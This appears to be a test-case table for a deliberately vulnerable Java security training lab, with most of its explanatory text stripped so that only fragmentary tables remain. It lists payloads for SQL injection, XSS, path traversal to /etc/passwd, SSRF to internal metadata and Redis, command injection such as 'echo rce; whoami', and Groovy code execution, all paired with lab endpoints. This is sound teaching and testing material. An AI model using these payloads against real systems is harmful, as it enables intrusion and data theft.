#
##
DOMXSSXSSWebSocket XSSpostMessage XSSCSPHttpOnly
XSSHTMLURLDOMHTMLDOM APIURL//JavaScript/CSSCSPHttpOnly
| | | |
| --- | --- | --- |
| XSS | GET/POSTStringContent-Type | |
| | CSPHTMLHttpOnly | /CSP/HttpOnly |
| XSS | User-Agent | Header |
| | | |
| DOMXSS | innerHTMLlocalStoragehashlocationevaldocument.write | SourceSink |
| DOM | textContentURLcreateTextNode | DOM |
| | Thymeleaf `th:utext`jQuery/Swagger/UEditorWebSocketpostMessage | HTML5 |
### XSS
`/xss/reflect/vul`
| | | | |
| --- | --- | --- | --- |
| GETJSON | `GET /xss/reflect/vul1?payload=` | HTML | payloadHTML |
| POSTJSON | `POST /xss/reflect/vul1` | `payload=` | payloadPOST |
| String | `GET /xss/reflect/vul2?payload=` | | payload |
| text/plain | `GET /xss/reflect/vul3?type=plain&payload=` | | `Content-Type``text/plain;charset=utf-8` |
| text/html | `GET /xss/reflect/vul3?type=html&payload=` | | `Content-Type``text/html;charset=utf-8`HTML |
| / | | Cookie | |
###
`/xss/reflect/safe`
| | | | |
| --- | --- | --- | --- |
| | `GET /xss/reflect/safe1?type=frontEnd&payload=` | | |
| | `GET /xss/reflect/safe1?type=backEnd&payload=` | | |
| CSP Header | `GET /xss/reflect/safe2?payload=` | | `Content-Security-Policy` |
| HTML | `GET /xss/reflect/safe3?type=manual&payload=` | HTML | |
| Spring HTML | `GET /xss/reflect/safe3?type=spring&payload=` | HTML | Spring |
| HttpOnly | `GET /xss/reflect/safe4?payload=` | Cookie | `Set-Cookie``HttpOnly` |
### XSS
`/xss/store`
| | | | |
| --- | --- | --- | --- |
| | `POST /xss/store/vul` | `payload=` | |
| User-Agent | `POST /xss/store/vul` | Header `User-Agent: ` | UA |
| | `GET /xss/store/getXssList?page=1&limit=10` | | |
| | | | ContentUser-AgentHTML |
| | `POST /xss/store/deleteOne?id=` | ID | |
### DOMXSS
`/xss/dom`
| | | | |
| --- | --- | --- | --- |
| innerHTML | /innerHTML | `123123` | `innerHTML` |
| LocalStorage | /LocalStorage | `123123` | `localStorage`DOM |
| hash | `/xss/dom/href#javascript:alert(1)` | `javascript:` | `location.hash``location.href` |
| location | /location | `javascript:alert(1)` | `window.location`URL Sink |
| eval | /eval | `alert(1)` | `eval` |
| document.write | /document | `` | `document.write`HTML |
| | / | `` | `textContent` |
| URL | /URL | `javascript:alert(1)` | |
| eval | /eval | `alert(1)` | |
| DOM API | /DOM API | `` | |
### XSS
`/xss/other`
| | / | | |
| --- | --- | --- | --- |
| Thymeleaf `th:utext` | `GET /xss/other/vul2OtherTemplate?type=html&payload=` | HTML | `th:utext`HTML |
| Thymeleaf `th:text` | `GET /xss/other/vul2OtherTemplate?type=text&payload=` | HTML | `th:text` |
| HTML | `POST /xss/other/vul1Upload?type=html` | `xss.html` | / |
| SVG | `POST /xss/other/vul1Upload?type=svg` | `xss.svg` | |
| XML | `POST /xss/other/vul1Upload?type=xml` | `xss.xml` | |
| PDF | `POST /xss/other/vul1Upload?type=pdf` | `xss.pdf` | PDF |
| jQueryXSS | `/xss/other/jquery-xss` | | jQuery |
| Swagger UIXSS | `/swagger-ui/index.html?configUrl=...` | URL | |
| UEditor | `/ueditor``/ueditor/config` | / | UEditor |
| WebSocket XSS | HTML5/WebSocket XSS | `` | `innerHTML` |
| postMessage XSS | HTML5/PostMessage XSS | `` | origin`innerHTML` |
## CSRF
Cookie CSRF Token Origin/Referer + +
CSRF Cookie/Session CSRF CSRF TokenOrigin/RefererSameSite Cookie Token
| | | |
| --- | --- | --- |
| | `GET /csrf/vul` | GET |
| Token | `GET /csrf/safe1` Session Token | CSRF |
| | `GET /csrf/safe2` Origin/Referer | Token |
| | SameSite | |
### CSRF
`/csrf`
| | | | |
| --- | --- | --- | --- |
| | `GET /csrf` | | TokenOrigin/Referer |
| | `GET /csrf/vul?receiver=zhangsan&amount=100` | | Cookie/Session |
| | `GET /csrf/vul?receiver=zhangsan&amount=100` | | |
| GET | | `receiver=zhangsan&amount=100` | GET CSRF |
### CSRF
`/csrf`
| | | | |
| --- | --- | --- | --- |
| Token | `GET /csrf/getCsrfToken` | | `csrfToken` Session |
| Token | `GET /csrf/safe1?receiver=zhangsan&amount=100` | `csrfToken` | `success=false` Token |
| Token | `GET /csrf/safe1?receiver=zhangsan&amount=100&csrfToken=bad` | Token | `success=false` Token |
| Token | `GET /csrf/safe1?receiver=zhangsan&amount=100&csrfToken=` | SessionToken | Token |
| Origin/Referer | `GET /csrf/safe2?receiver=zhangsan&amount=100` | | `success=false` Origin/Referer |
| Origin | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Origin: http://evil.example` | `success=false` |
| Origin | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Origin: http://127.0.0.1` | |
| Referer | `GET /csrf/safe2?receiver=zhangsan&amount=100` | Header `Referer: http://127.0.0.1/csrf` | |
## SQL
JDBCJdbcTemplateMyBatisSQLHibernate HQL/SQLJPA JPQL/
SQLSQLSQLSQLESAPI
| | | |
| --- | --- | --- |
| JDBC | SQLJdbcTemplate | |
| JDBC | PreparedStatementJdbcTemplate | DML |
| | ESAPI encodeForSQL | |
| | ORDER BYLIKELIMITSQLUNION | SQL |
| MyBatis | `#{}``${}` ORDER BY/LIKE/INforeach | MyBatis |
| Hibernate | SQLHQLsetParameter | ORM |
| JPA | JPQLCriteria | JPA |
### JDBC
`/sqli/jdbc/jdbcVul`
| | | | |
| --- | --- | --- | --- |
| - | `GET /sqli/jdbc/vul1?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | SQL |
| - | `GET /sqli/jdbc/vul1?type=add` | `password=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1` | |
| | `GET /sqli/jdbc/vul2?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | SQLprepare |
| JdbcTemplate | `GET /sqli/jdbc/vul3?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | |
| | | ///Xpath | `pcapng` |
### JDBC
`/sqli/jdbc/jdbcSafe`
| | | | |
| --- | --- | --- | --- |
| PreparedStatement | `GET /sqli/jdbc/safe1?type=select&id=1 OR 1=1` | payload | |
| JdbcTemplate | `GET /sqli/jdbc/safe2?type=select&id=1 OR 1=1` | payload | |
| | `GET /sqli/jdbc/safe3?type=select&id=1 and sleep(5)` | | SQL |
| | `GET /sqli/jdbc/safe4?id=1' or '1'='1` | | |
| ESAPI | `GET /sqli/jdbc/safe5?id=1' or '1'='1` | | SQL |
### JDBC
`/sqli/jdbc/jdbcSpecial`
| | | | |
| --- | --- | --- | --- |
| ORDER BY | `GET /sqli/jdbc/special1-OrderBy?type=raw&field=username and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)%23` | | |
| ORDER BY | `GET /sqli/jdbc/special1-OrderBy?type=prepareStatement&field=username` | | SQL |
| ORDER BY | `GET /sqli/jdbc/special1-OrderBy?type=writeList&field=username` | | |
| ORDER BY | `GET /sqli/jdbc/special1-OrderBy?type=writeList&field=username desc` | | |
| LIKE | `GET /sqli/jdbc/special2-Like?type=raw&keyword=1' OR '1'='1` | LIKE | |
| LIKE | `GET /sqli/jdbc/special2-Like?type=prepareStatement&keyword=admin' OR '1'='1` | LIKE | |
| LIMIT | `GET /sqli/jdbc/special3-Limit?type=prepareStatement&size=1` | | |
| - | `GET /sqli/jdbc/special4-SecondOrder?type=store&username=second_order' OR '1'='1&password=demo` | | |
| - | `GET /sqli/jdbc/special4-SecondOrder?type=trigger&id=` | | username |
| - | `GET /sqli/jdbc/special4-SecondOrder?type=safeTrigger&id=` | | username |
| UNION | `GET /sqli/jdbc/special5-Union?type=raw&id=-1 UNION SELECT 1,database(),user()` | UNION Payload | |
| UNION | `GET /sqli/jdbc/special5-Union?type=prepareStatement&id=-1 UNION SELECT 1,database(),user()` | UNION Payload | PayloadSQL |
### MyBatis
`/sqli/mybatis`
| | | | |
| --- | --- | --- | --- |
| | `POST /sqli/mybatis/safe1?type=select&id=2` | ID | |
| ID | `POST /sqli/mybatis/safe1?type=delete` | ID | `id!` |
| `#{}` | `POST /sqli/mybatis/safe2?type=select&id=999999` | ID | `ID!` |
| ORDER BY `${}` | `POST /sqli/mybatis/special1-OrderBy?type=raw&field=username and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)%23` | | |
| ORDER BY `#{}` | `POST /sqli/mybatis/special1-OrderBy?type=prepareStatement&field=username` | | |
| ORDER BY | `POST /sqli/mybatis/special1-OrderBy?type=writeList&field=username` | | |
| LIKE `${}` | `POST /sqli/mybatis/special2-Like?type=raw&keyword=1' OR '1'='1` | LIKE | |
| LIKE `#{}` | `POST /sqli/mybatis/special2-Like?type=prepareStatement&keyword=admin' OR '1'='1` | LIKE | |
| IN `${}` | `POST /sqli/mybatis/special3-In?type=raw&scope=1) OR 1=1 -- ` | IN | |
| IN `#{}` | `POST /sqli/mybatis/special3-In?type=prepareStatement&scope=1,2` | ID | |
| IN foreach | `POST /sqli/mybatis/special3-In?type=Foreach&scope=1,2,abc` | | |
| IN foreach | `POST /sqli/mybatis/special3-In?type=Foreach` | scope | `scopeID!` |
### HibernateJPA
`/sqli/hibernate`
| | | | |
| --- | --- | --- | --- |
| HibernateSQL | `POST /sqli/hibernate/vul1?username=admin' OR 1=1 OR '1'='1` | payload | |
| Hibernate HQL | `GET /sqli/hibernate/vul2?username=admin' OR 1=1 OR '1'='1` | payload | |
| Hibernate | `POST /sqli/hibernate/safe?username=admin' OR 1=1 OR '1'='1` | payload | |
`/sqli/jpa`
| | | | |
| --- | --- | --- | --- |
| JPA JPQL | `GET /sqli/jpa/vul1?username=admin' OR '1'='1` | payload | |
| JPA | `GET /sqli/jpa/vul2?orderBy=username desc` | | payload |
| JPA | `GET /sqli/jpa/safe?username=admin' OR '1'='1` | payload | |
| JPA | `GET /sqli/jpa/safe-order?orderBy=username` | | |
| JPA | `GET /sqli/jpa/safe-order?orderBy=username desc` | | |
##
-> -> / ->
| | | |
| -------- | ----------------------------------------------- | ------------------------------------------------------------ |
| | | |
| | / | |
| | / | |
| | | |
| | `/file/**` | |
###
`/file/upload`
| | / | | |
| --------------------- | --------------------------- | ------------------------------------ | -------------------------------------------------- |
| | `POST /file/upload/vul` | `test.jsp` | `/file/` |
| | `GET /file/` | | Spring Boot JSP |
| - | `POST /file/upload/safe` | `png/jpg/gif/jpeg/bmp/ico` | |
| - | `POST /file/upload/safe` | `jsp/php/html` | |
| - | `POST /file/upload/safe` | `test.png` | |
| /Payload | Payload/ | `test.jsp``upload.pcapng` | |
###
`/file/read`
| | | | |
| --------------------- | --------------------------------------------------- | ------------------ | ------------------------------------------ |
| | `GET /file/read/vul?fileName=/etc/hosts` | `/etc/hosts` | |
| | `GET /file/read/vul?fileName=../../../../etc/hosts` | `../` payload | |
| - | `GET /file/read/safe?fileName=/etc/hosts` | | |
| - | `GET /file/read/safe?fileName=` | | |
| - | `GET /file/read/safe?fileName=` | | |
###
`/file/download`
| | | | |
| --------------------- | ------------------------------------------------------- | ------------------ | -------------------------------- |
| | `GET /file/download/vul?fileName=/etc/passwd` | `/etc/passwd` | |
| | `GET /file/download/vul?fileName=../../../../etc/hosts` | `../` payload | |
| - | `GET /file/download/safe?fileName=/etc/hosts` | | 400 404 |
| - | `GET /file/download/safe?fileName=` | | |
| - | `GET /file/download/safe?fileName=` | | 403 |
###
`/file/delete`
| | | | |
| --------------------- | ------------------------------------------------------------ | ------------------ | -------------------------------- |
| | `GET /file/delete/vul?filePath=./src/main/resources/static/upload/demo.txt` | | |
| | `GET /file/delete/vul?filePath=../../tmp/demo.txt` | | |
| - | `GET /file/delete/safe?fileName=../test` | `../` payload | |
| - | `GET /file/delete/safe?fileName=` | | |
| - | `GET /file/delete/safe?fileName=` | | |
## SSRF
HTTPIP
SSRFURLIPURLIP30x
| | | |
| ------------ | --------------------------------------------------- | ------------------------------------------------- |
| | `URLConnection`URL | SSRF`file://``http://` |
| | `file:///etc/hosts``file:///etc/passwd` | |
| HTTP | `http://127.0.0.1/ssrf/internal/metadata` | / |
| | `/ssrf/redirect?target=...` | |
| | http(s)IP | |
### SSRF
`/ssrf`
| | | | |
| -------------- | ------------------------------------------------------------ | --------------------- | ---------------------------------------------------- |
| | `GET /ssrf` | | tips |
| | `GET /ssrf/vul?url=file:///etc/hosts` | `file:///etc/hosts` | hosts |
| HTTP | `GET /ssrf/vul?url=http://127.0.0.1/ssrf/internal/metadata` | URL | `instance-id``role``token` |
| | `GET /ssrf/vul?url=http://127.0.0.1/ssrf/redirect?target=http://127.0.0.1/ssrf/internal/metadata` | | |
| | `GET /ssrf/vul?url=dict://127.0.0.1:6379/info` | HTTP | |
| | | `ssrf.pcapng` | |
### SSRF
`/ssrf`
| | | | |
| ---------------- | ------------------------------------------------------------ | --------------- | ------------------------------------------------------------ |
| HTTP | `GET /ssrf/safe?url=file:///etc/hosts` | `file://` | http(s) |
| | `GET /ssrf/safe?url=http://127.0.0.1/ssrf/internal/metadata` | | |
| | `GET /ssrf/safe?url=http://baidu.com@127.0.0.1/ssrf/internal/metadata` | `userinfo@host` | |
| | `GET /ssrf/safe?url=http://baidu.com` | | |
| | `GET /ssrf/safe?url=http://127.0.0.1/ssrf/redirect?target=http://127.0.0.1/ssrf/internal/metadata` | | |
| | HTTP | | / |
## XXE
XMLReaderSAXParserDocumentBuilderJava XMLDOCTYPE//DTD/Schema
XXEXMLDTDSYSTEM/PUBLICSSRFXMLDOCTYPEDTDDOM`ACCESS_EXTERNAL_DTD``ACCESS_EXTERNAL_SCHEMA`
| | | |
| --- | --- | --- |
| SAX/XMLReader | `XMLReaderFactory.createXMLReader()` | SAX |
| SAXParser | `SAXParserFactory.newInstance()` | SAXParser |
| DOM/DocumentBuilder | `DocumentBuilderFactory.newInstance()` | DOMXML |
| | DOCTYPEDTDSchemaEntityResolver | |
| | `ENTITY``DOCTYPE` | |
### XXE
`/xxe/vul`
| | | | |
| --- | --- | --- | --- |
| | `GET /xxe/vul` | | XMLReaderSAXParserDocumentBuilder |
| XMLReader | `GET /xxe/vul1?payload=` | `` | hosts |
| XMLReader | `GET /xxe/vul1?payload=` | `` | SSRF |
| SAXParser | `GET /xxe/vul2?payload=` | `` | hosts |
| DocumentBuilder | `GET /xxe/vul3?payload=` | `` | hostsDOM |
| DocumentBuilder | `GET /xxe/vul3?payload=` | `` | |
| SINK | tips | XMLReaderSAXParserDocumentBuilderXMLStreamReader | XML |
### XXE
`/xxe/safe`
| | | | |
| --- | --- | --- | --- |
| | `GET /xxe/safe` | | |
| XMLReader | `GET /xxe/safe1?payload=` | DOCTYPEpayload | DOCTYPE |
| XMLReaderXML | `GET /xxe/safe1?payload=hello` | DTDXML | `hello` |
| DocumentBuilder | `GET /xxe/safe3?payload=` | DOCTYPEpayload | DOCTYPE |
| DocumentBuilderXML | `GET /xxe/safe3?payload=hello` | DTDXML | `hello` |
| | `GET /xxe/safe2?payload=` | `DOCTYPE``ENTITY` | `[+]XML` |
| XML | `GET /xxe/safe2?payload=hello` | XML | `[-]XML` |
##
CORS CORS JSONP JSONP callback CORS JSONP
CORS `Access-Control-Allow-Origin` Origin Origin JSONP `script` Token callback
| | | |
| ------------- | ------------------------------------------------------------ | ------------------------------------------------- |
| CORS | `GET /crossorigin/corsVul` `Origin` | CORS |
| CORS | `GET /crossorigin/corsSafe` Origin | `Vary: Origin` |
| JSONP | `GET /crossorigin/jsonpVul?callback=stealData` | JSONP `script` |
| JSONP | `GET /crossorigin/jsonpSafe?callback=stealData` callback | JSONP |
### CORS
`/crossorigin/cors`
| | | | |
| ---------------- | ------------------------------ | ------------------------------------ | ------------------------------------------------------------ |
| | `GET /crossorigin/cors` | | CORS |
| Origin | `GET /crossorigin/corsVul` | `Origin` | `Access-Control-Allow-Origin: http://example.com` |
| Origin | `GET /crossorigin/corsVul` | Header `Origin: http://evil.example` | `Access-Control-Allow-Origin` |
| | `GET /crossorigin/corsVul` | Header `Origin: http://evil.example` | `Access-Control-Allow-Credentials: true` |
| | `OPTIONS /crossorigin/corsVul` | Header `Origin: http://evil.example` | |
### CORS
`/crossorigin/cors`
| | | | |
| -------------- | ------------------------------- | -------------------------------------- | ------------------------------------------------------------ |
| | `GET /crossorigin/corsSafe` | `Origin` | CORS |
| Origin | `GET /crossorigin/corsSafe` | Header `Origin: http://evil.example` | 403 CORS `Access-Control-Allow-Origin` |
| Origin | `GET /crossorigin/corsSafe` | Header `Origin: http://127.0.0.1:8080` | `Access-Control-Allow-Origin: http://127.0.0.1:8080` |
| | `OPTIONS /crossorigin/corsSafe` | Header `Origin: http://127.0.0.1:8080` | `GET, OPTIONS` |
### JSONP
`/crossorigin/jsonp`
| | | | |
| -------------- | ---------------------------------------------- | -------------------- | ------------------------------------------------------------ |
| | `GET /crossorigin/jsonp` | | JSONP |
| JSONP | `GET /crossorigin/jsonpVul?callback=stealData` | `callback=stealData` | `stealData({"username":"admin","password":"Admin123"});` |
| callback | `GET /crossorigin/jsonpVul?callback=alert` | `callback=alert` | |
### JSONP
`/crossorigin/jsonp`
| | | | |
| ---------------- | --------------------------------------------------- | ------------------ | ------------------------------------------------------------ |
| callback | `GET /crossorigin/jsonpSafe?callback=stealData` | | `stealData({"message":"public data only"});` |
| callback | `GET /crossorigin/jsonpSafe?callback=app.stealData` | | `app.stealData({"message":"public data only"});` |
| callback | `GET /crossorigin/jsonpSafe?callback=alert(1)` | | 400 `Invalid callback` |
| | `GET /crossorigin/jsonpSafe?callback=stealData` | | `Content-Type` JavaScript `X-Content-Type-Options: nosniff` |
## RCE
`ProcessBuilder``Runtime.getRuntime().exec()` `ProcessImpl` `GroovyShell.evaluate`
RCEshell API `sh -c` `cmd.exe /c`
| | | |
| --- | --- | --- |
| ProcessBuilder | `GET /command/vul1` `sh -c` | shell |
| Runtime | `GET /command/vul2` | Java Sink shell |
| ProcessImpl | `GET /command/vul3` JDK | `Runtime.exec` JDK |
| | `GET /command/safe` | |
| Groovy | `GET /code/vulGroovy` `GroovyShell.evaluate(payload)` | |
| | `GET /code/safeGroovy` | |
###
`/command`
| | | | |
| --- | --- | --- | --- |
| | `GET /command` | | ProcessBuilderRuntimeProcessImpl |
| ProcessBuilder | `GET /command/vul1?payload=whoami` | `whoami` | |
| ProcessBuilder shell | `GET /command/vul1?payload=echo rce; whoami` | shell `;` | `echo` `sh -c` |
| Runtime | `GET /command/vul2?payload=whoami` | `whoami` | |
| Runtimeshell | `GET /command/vul2?payload=echo rce` | | `rce` `;``&&` shell |
| ProcessImpl | `GET /command/vul3?payload=whoami` | `whoami` | JDK |
| | | `command_injection.pcapng` | |
###
`/command`
| | | | |
| --- | --- | --- | --- |
| -list | `GET /command/safe?payload=list` | `list` | `ls` |
| -date | `GET /command/safe?payload=date` | `date` | `date` |
| | `GET /command/safe?payload=whoami;id` | | |
| | `GET /command/safe?payload=whoami` | | |
| | | | |
### Groovy
`/code`
| | | | |
| --- | --- | --- | --- |
| | `GET /code` | | Groovy |
| | `GET /code/vulGroovy?payload=1%2B2%2B3` | `1+2+3` | `6` Groovy |
| | `GET /code/vulGroovy?payload='whoami'.execute()` | Groovy `execute()` | |
| Java | `GET /code/vulGroovy?payload=System.getProperty('user.dir')` | Java API | |
| | | `code_injection.pcapng` | |
### Groovy
`/code`
| | | | |
| --- | --- | --- | --- |
| -hello | `GET /code/safeGroovy?payload=hello` | `hello` | `Hello JavaSecLab` |
| -time | `GET /code/safeGroovy?payload=time` | `time` | |
| -sum | `GET /code/safeGroovy?payload=sum` | `sum` | `6` |
| | `GET /code/safeGroovy?payload='whoami'.execute()` | Groovy | |
##
API
| | | |
| --- | --- | --- |
| | `GET /logic/idor/horizontal/getUserInfo` | |
| | `GET /logic/idor/vertical/vul` | |
| | | |
| | `code_verify=true` | |
| | | |
| | | |
###
`/logic/idor/horizontal``/logic/idor/vertical`
| | | | |
| --- | --- | --- | --- |
| | `GET /logic/idor/horizontal` | | Session |
| | `GET /logic/idor/horizontal/getUserInfo?username=123` | | |
| | `GET /logic/idor/horizontal/safe?username=admin` | | |
| | `GET /logic/idor/horizontal/safe?username=` | | |
| | `GET /logic/idor/vertical` | | |
| | `GET /logic/idor/vertical/vul` | | |
| | `GET /logic/idor/vertical/safe` | | |
###
`/logic/captcha/graphic`
| | | | |
| --- | --- | --- | --- |
| | `GET /logic/captcha/graphic` | | |
| | `GET /logic/captcha/graphic/img` | | Session 4 |
| | `POST /logic/captcha/graphic/vul1` | | 5 |
| | `POST /logic/captcha/graphic/vul2` | `username=admin&password=admin123&captcha=6666` | |
| | `POST /logic/captcha/graphic/vul3` | OCR4 | |
| | `GET /logic/captcha/graphic/safeImg` | | 6 |
| | `POST /logic/captcha/graphic/safe` | | |
###
`/logic/captcha/sms`
| | | | |
| --- | --- | --- | --- |
| | `GET /logic/captcha/sms` | | |
| | `GET /logic/captcha/sms/code?phone=abc` | | |
| | `GET /logic/captcha/sms/code?phone=18888888888` | | |
| | `POST /logic/captcha/sms/vul1` | | |
| | `GET /logic/captcha/sms/code2?phone=18888888888` | | Session |
| | `POST /logic/captcha/sms/vul2?phone=18888888888&code=000000&code_verify=true` | | |
###
`/logic/pay`
| | | | |
| --- | --- | --- | --- |
| | `GET /logic/pay` | | 6 |
| | `POST /logic/pay/resetBalance` | | 1000 |
| | `POST /logic/pay/vul1` | `count=1&price=0.01` | |
| | `POST /logic/pay/vul2` | `orderId` | |
| | `POST /logic/pay/vul3` | `orderId` | |
| | `POST /logic/pay/vul4/create` | `orderId=bypass123&amount=200` | |
| | `POST /logic/pay/vul4/notify` | `orderId=bypass123&success=true` | |
| | `POST /logic/pay/vul5` | `count=2147483647&price=10` | `int` |
| | `POST /logic/pay/vul6` | `count=0.1&price=0.2` | |
###
`/logic/concurrent`
| | | | |
| --- | --- | --- | --- |
| | `GET /logic/concurrent` | | / |
| | `POST /logic/concurrent/reset` | | 1000 |
| | `POST /logic/concurrent/vul` | `orderId=race123&amount=100` | |
| | `POST /logic/concurrent/safe` | `orderId=safeRace123&amount=100` | |
##
URL XFF DoS XPath
URL URL `Location`XFF DoS XPath
| | | |
| --- | --- | --- |
| URL | Spring MVCModelAndViewServletResponseEntity | Java Web Sink |
| XFF | `X-Forwarded-For` IP | IP |
| DoS | ZIP | |
| XPath | XPath | XML |
### URL
`/other/URLRedirect/vul``/other/URLRedirect/safe`
| | | | |
| --- | --- | --- | --- |
| | `GET /other/URLRedirect/vul` | | 6 |
| Spring redirect | `GET /other/URLRedirect/vul1?url=http://example.com` | URL | 302`Location` URL |
| ModelAndView redirect | `GET /other/URLRedirect/vul2?url=http://example.com` | URL | 302`Location` URL |
| Servlet setHeader | `GET /other/URLRedirect/vul3?url=http://example.com` | URL | 301`Location` URL |
| Servlet sendRedirect | `GET /other/URLRedirect/vul4?url=http://example.com` | URL | 302`Location` URL |
| ResponseEntity redirect | `GET /other/URLRedirect/vul5?url=http://example.com` | URL | 302`Location` URL |
| ResponseStatus redirect | `GET /other/URLRedirect/vul6?url=http://example.com` | URL | 302`Location` URL |
| | `GET /other/URLRedirect/safe` | | |
| | `GET /other/URLRedirect/safe2?url=http://example.com` | URL | 403 `Forbidden: url not in WhiteUrlList!` |
| | `GET /other/URLRedirect/safe2?url=https://blog.csdn.net/weixin_53009585` | | 302 |
### XFF
`/other/xff`
| | | | |
| --- | --- | --- | --- |
| | `GET /other/xff` | | XFF |
| IP | `GET /other/xff/vul1` | XFF | 8.8.8.8 |
| XFF | `GET /other/xff/vul2?xff=true` | Header `X-Forwarded-For: 8.8.8.8` | |
| XFF | `GET /other/xff/vul2?xff=false` | Header `X-Forwarded-For: 8.8.8.8` | |
| | `GET /other/xff/safe?xff=true` | XFF | XFF |
### DoS
`/other/dos`
| | | | |
| --- | --- | --- | --- |
| | `GET /other/dos` | | ZIP |
| | `GET /other/dos/vul?width=1200&height=1200` | | |
| | `GET /other/dos/safe?width=1200&height=1200` | | 400 |
| | `GET /other/dos/safe?width=300&height=120` | | JPEG |
| ZIP | `POST /other/dos/vul2` | | ZIP |
| ZIP | `POST /other/dos/vul2` | ZIP | ZIP |
### XPath
`/other/xpath`
| | | | |
| --- | --- | --- | --- |
| | `GET /other/xpath` | | XPath |
| | `GET /other/xpath/vul?username=admin&password=password` | | |
| | `GET /other/xpath/vul?username=admin&password=' or '1'='1` | XPath Payload | |
| | `POST /other/xpath/safe` | `username=admin&password=' or '1'='1` | |
| | `POST /other/xpath/safe` | `username=admin&password=password` | |
##
JS API
TokenCookie
| | | |
| --- | --- | --- |
| JS | Webpack | |
| | | |
| | Ping Ping | |
| | Web | SQLSession |
### JS
`/infoLeak/js`
| | | | |
| --- | --- | --- | --- |
| | `GET /infoLeak/js` | | Webpack |
| | `GET /infoLeak/js/hard-coding` | | |
| | `/infoLeak/js/hard-coding` | `superadmin` / `Admin@1024.com` | `/infoLeak/js/loginSuccess` |
| Webpack JS | `GET /other/infoleak/chunk-0226s3f2.57e3ed6f.js` | | JS `SecretId``SecretKey`Bucket |
###
`/infoLeak/dirTraversal`
| | | | |
| --- | --- | --- | --- |
| | `GET /infoLeak/dirTraversal` | | |
| | `GET /infoLeak/dirTraversal/vul?dir=/` | | |
| | `GET /infoLeak/dirTraversal/vul?dir=../` | `../` | |
| | `GET /infoLeak/dirTraversal/safe1?dir=../` | `../` | |
| | `GET /infoLeak/dirTraversal/safe2?dir=../` | `../` | `Directory not found or access denied.` |
| | `GET /infoLeak/dirTraversal/safe2?dir=/` | | |
###
`/infoLeak/ceShiPage`
| | | | |
| --- | --- | --- | --- |
| | `GET /infoLeak/ceShiPage` | | Ping |
| Ping | `GET /infoLeak/ceShiPage/pingPage` | | Ping Ping |
| | `GET /infoLeak/ceShiPage/ping?ip=127.0.0.1%20%26%20whoami` | `127.0.0.1 & whoami` | ping shell |
| Ping | `GET /infoLeak/ceShiPage/safePing?ip=127.0.0.1%20%26%20whoami` | `&` | |
| Ping | `GET /infoLeak/ceShiPage/safePing?ip=127.0.0.1` | | ping ping |
###
`/infoLeak/backUp`
| | | | |
| --- | --- | --- | --- |
| | `GET /infoLeak/backUp` | | |
| | `GET /other/infoleak/www.zip` | | Web |
| | `GET /other/infoleak/JavaSecLab_logs.txt` | | SQLSessionId |
##
JSJSRSAJWT
MFA
| | | |
| --- | --- | --- |
| | | |
| | | |
| JS | signRSA | |
| | JWT | role |
###
`/loginconfront/account`
| | | | |
| --- | --- | --- | --- |
| | `GET /loginconfront/account` | | |
| | `POST /loginconfront/account/vul1` | `username=qwer&password=x` | |
| | `POST /loginconfront/account/vul1` | `username=admin&password=wrong` | |
| | `POST /loginconfront/account/vul1` | `username=admin&password=admin123` | |
| | `POST /loginconfront/account/vul2` | `username=admin&password=admin` | / |
| | `POST /loginconfront/account/vul2` | `username=admin&password=wrong` | |
###
`/loginconfront/bypass``/loginconfront/bypass/reset`
| | | | |
| --- | --- | --- | --- |
| | `GET /loginconfront/bypass` | | |
| | `POST /loginconfront/bypass/vul1step1` | `username=admin&password=wrong` | |
| | `POST /loginconfront/bypass/vul1step1` | `username=admin&password=admin123` | |
| | `POST /loginconfront/bypass/vul1step2` | `code=0` | |
| | `GET /loginconfront/bypass/reset` | | |
| | `POST /loginconfront/bypass/step1` | `username=admin` | |
| | `POST /loginconfront/bypass/step2` | `oldPassword=bad` | |
| | `POST /loginconfront/bypass/step2` | `oldPassword=!@#qwf@3123` | |
| | `POST /loginconfront/bypass/step3` | `newPassword=newpass123` | |
### JS
`/loginconfront/reverse`
| | | | |
| --- | --- | --- | --- |
| | `GET /loginconfront/reverse` | | signRSA |
| sign/ | `POST /loginconfront/reverse/vul1` | `sign` | |
| sign | `POST /loginconfront/reverse/vul1` | MD5 | admin,admin123 |
| sign | `POST /loginconfront/reverse/vul1` | | |
| RSA | `POST /loginconfront/reverse/vul2` | | |
| RSA | `POST /loginconfront/reverse/vul2` | `admin/admin123` | |
###
`/loginconfront/credential`
| | | | |
| --- | --- | --- | --- |
| | `GET /loginconfront/credential` | | JWT |
| JWT | `GET /loginconfront/credential/generate-jwt?username=admin&role=admin` | | JWT |
| JWT | `GET /loginconfront/credential/vul1` | `Auth_Token` Header | Auth_Token |
| JWT | `GET /loginconfront/credential/vul1` | Header `Auth_Token: bad.jwt.token` | JWT |
| JWT | `GET /loginconfront/credential/vul1` | HeaderJWT | `useradmin,roleadmin` |
# Java
## SpringBoot
Swagger/OpenAPI Spring Boot Actuator Druid MySQL JDBC Spring Boot Spring Boot /
Spring Boot JDBC URL Java
| | | |
| --- | --- | --- |
| Swagger/OpenAPI | `/v3/api-docs`Swagger UI | |
| Actuator | `/sys/actuator``/sys/actuator/health` | |
| Druid | `/druid/index.html` | SQLURISession |
| MySQL JDBC | `/springboot/vul``/springboot/insert``/springboot/jdbc` | JDBC URL |
### SpringBoot
`/springboot`
| | | | |
| --- | --- | --- | --- |
| | `GET /springboot` | | SwaggerActuatorDruidMySQL JDBC |
| Swagger | `GET /other/datapackage/springboot/swagger_ui.pcapng` | | |
| Actuator | `GET /other/datapackage/springboot/actuator.pcapng` | | |
| Druid | `GET /other/datapackage/springboot/druid.pcapng` | | |
| MySQL JDBC | `GET /other/datapackage/springboot/mysql_jdbc.pcapng` | | |
### Swagger/OpenAPI
`/springboot`
| | | | |
| --- | --- | --- | --- |
| OpenAPI JSON | `GET /v3/api-docs` | | OpenAPI `openapi``paths` |
| Swagger UI | `GET /swagger-ui/index.html` | | Swagger UI |
| | `/v3/api-docs` | | |
### Actuator
`/springboot`
| | | | |
| --- | --- | --- | --- |
| Actuator | `GET /sys/actuator` | | `_links` |
| | `GET /sys/actuator/health` | | `status` |
| | `GET /sys/actuator/mappings` | | |
### Druid
`/springboot`
| | | | |
